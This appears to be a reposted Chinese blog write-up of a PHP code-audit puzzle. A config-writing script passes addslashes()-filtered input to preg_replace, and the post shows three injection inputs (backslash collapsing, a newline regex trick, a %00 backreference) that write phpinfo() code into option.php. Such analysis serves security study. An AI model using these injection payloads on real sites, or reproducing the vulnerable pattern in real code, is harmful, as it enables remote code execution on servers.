一個PHP正則相關的“經典漏洞” preg_replace
阿新 • • 發佈:2018-12-23
https://www.cdxy.me/?p=756
小密圈《程式碼審計》中看到P神發的“經典漏洞”,關於寫配置檔案這個功能點。
問題程式碼
<?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|',"\$option='$str';",$file);
file_put_contents('xxxxx/option.php',$file);
?>
輸入經過addslashes()
處理過之後經匹配替換指定檔案內容。
解法1 利用反斜線
輸入\';phpinfo();//
\'
經過addslashes()
之後變為\\\'
,隨後preg_replace會將兩個連續的\合併為一個,也就是將\\\'
轉為\\'
,這樣我們就成功引入了一個單引號,閉合上文註釋下文,中間加入要執行的程式碼即可。
看來是preg_replace函式特性。經測試,該函式會針對反斜線進行轉義,即成對出現的兩個反斜線合併為一個,以前不知道這個點(跟進)。
本地測試環境:PHP 5.4.45 + Windows + Apache
解法2 利用正則
過程分為兩個請求:
第一次傳入aaa';phpinfo();%0a//
此時檔案內容
$option='aaa\';phpinfo();
//' ;
第二次傳入隨意字串,如bbb
正則程式碼.*
會將匹配到的aaa\
替換為bbb
此時檔案內容(成功寫入惡意程式碼)
$option='bbb';phpinfo();
//';
解法3 利用%00
仍然分為兩步。
第一次傳入;phpinfo();
此時檔案內容為:
$option=';phpinfo();';
第二次傳入%00
%00
被addslashes()
轉為\0
,而\0
在preg_replace
函式中會被替換為“匹配到的全部內容”,此時preg_replace
要執行的程式碼如下
preg_replace('|\$option=\'.*\';|',"\$option='\0';",$file);
也就是
preg_replace('|\$option=\'.*\';|' ,"\$option='$option=';phpinfo();';';",$file);
成功引入單引號閉合,最終寫入shell
$option='\$option=';phpinfo();';';
Ref
小密圈:《程式碼審計》
@Dlive
@L3m0n
@該隱
@phith0n